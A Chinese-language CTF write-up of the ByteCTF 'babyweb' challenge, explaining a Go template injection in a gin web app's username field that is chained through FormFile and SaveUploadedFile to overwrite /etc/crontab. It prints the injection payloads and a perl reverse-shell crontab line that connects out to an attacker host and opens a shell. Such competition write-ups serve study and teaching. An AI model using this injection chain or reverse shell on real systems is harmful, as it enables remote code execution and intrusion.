本次字节CTF可能因为疫情原因全部改成线上了,正值期末原本打算直接开摆摸鱼,不过星期天下午学弟发消息求救golang的ssti,想着之前特地研究过一段时间go的安全问题,TCTF还出了一道go的ssti,最后摸鱼做了一条,没想到机缘巧合下最后还成了胜负手,小伙伴们tql~

babyweb

题目没什么其他东西,给了Dockerfile,学弟已经找到了注入的位置是注册的用户名,输入 {{7*7}} 在log的地方会报错,输入 {{.}} 会打印一堆东西
1.png
这个我可太熟悉了,一看就是 gin.Context 打印出来的东西,估摸着后端是直接把c传进template中,然后用户名是可控字段,最后渲染返回,观察了下有个很明显的session,或许可以搞出cookie secret(虽然不知道有什么用)。

gin中 c.Keys["github.com/gin-contrib/sessions"].(*sessions.session) 储存的就是session对象了,因为类型没有导出,go template也没有原生手段解引用,我们只能通过 {{range .Keys}}{{.}}{{end}} 的方式拿到其中的内容,对象原型是:

1
2
3
4
5
6
7
8
type session struct {
name string
request *http.Request
store Store
session *sessions.Session
written bool
writer http.ResponseWriter
}

其中store存储了cookie secret,非常可惜的是这个结构体的内容都是unexported的,没有办法访问其中的内容。

这里插一句,虽然无法通过访问成员的方式输出内容,一些原生类型还是可以获取的。go template原生支持了printf函数,而这个函数也支持go fmt的格式化参数,我们可以通过 %+v 的方式输出类型名称,%#q 使用Go syntax escape输出内容,通过这种方式可以输出一些unexported的变量,不过一部分指针类型就无能为力了。

可以观察下面三种方式输出的结果

1
{{range .Keys}}{{.}}{{end}}

a.png

1
{{range .Keys}}{{printf "%+v" .}}{{end}}

b.png

1
{{range .Keys}}{{printf "%#q" .}}{{end}}

c.png

template的奇技淫巧

到这里似乎陷入死胡同了,我只好放弃学弟之前cookie的猜测另找一条路,因为之前研究过template的一些有意思的点,知道可以通过模板调用函数,但是这有个限制,目前go只允许调用1个返回值,或者2个返回值并且第二个返回值为error类型的函数,于是我把目光转向了gin.Context中的函数,找了找发现了两个有意思的东西:

1
2
func (c *Context) FormFile(name string) (*multipart.FileHeader, error)
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error

第一个可以获取指定名称的上传文件,而第二个可以保存上传的文件到特定目录,这两个函数都在符合template的调用格式,而结合在一起我们便可以覆盖任意文件上传了。再回过头看题目给出的不知所云的Dockerfile,里面安装了cron,一切都清楚了。只要上传一个crontab任务,就可以RCE了。

具体做法是通过注册用户名为 {{.SaveUploadedFile (.FormFile "file") "/etc/crontab"}} 的用户,然后在模板渲染处就能上传文件覆盖”/etc/crontab”,网上抄一个exp

1
* * * * * root perl -e 'use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

理论上就能打到shell了!然而比赛的时候发现怎么也打不回来,一开始以为没网,可是在static可写目录下touch文件的任务也无法触发,而我本地docker中写的却能正常触发,真的是见了鬼了。折腾了半天才发现,crontab格式要求每个任务后需要有一个换行,而我本地docker中偷懒使用的是vim直接写的内容,vim在默认情况下会在文件尾添加一个0A,这就导致了burpsuite发送的exp即使和本地一样也无法执行(因为缺少一个换行)。。。

解决方法也很简单加个回车就行了,也正是由于这个原因在比赛结束前半小时才做出来,同时也守住了第一名hhh

后记

ByteCTF质量不错,相比去年无敌脑洞好了很多,可惜没有线下少了零食大礼包和茶歇区,摸鱼计划大失败(雾)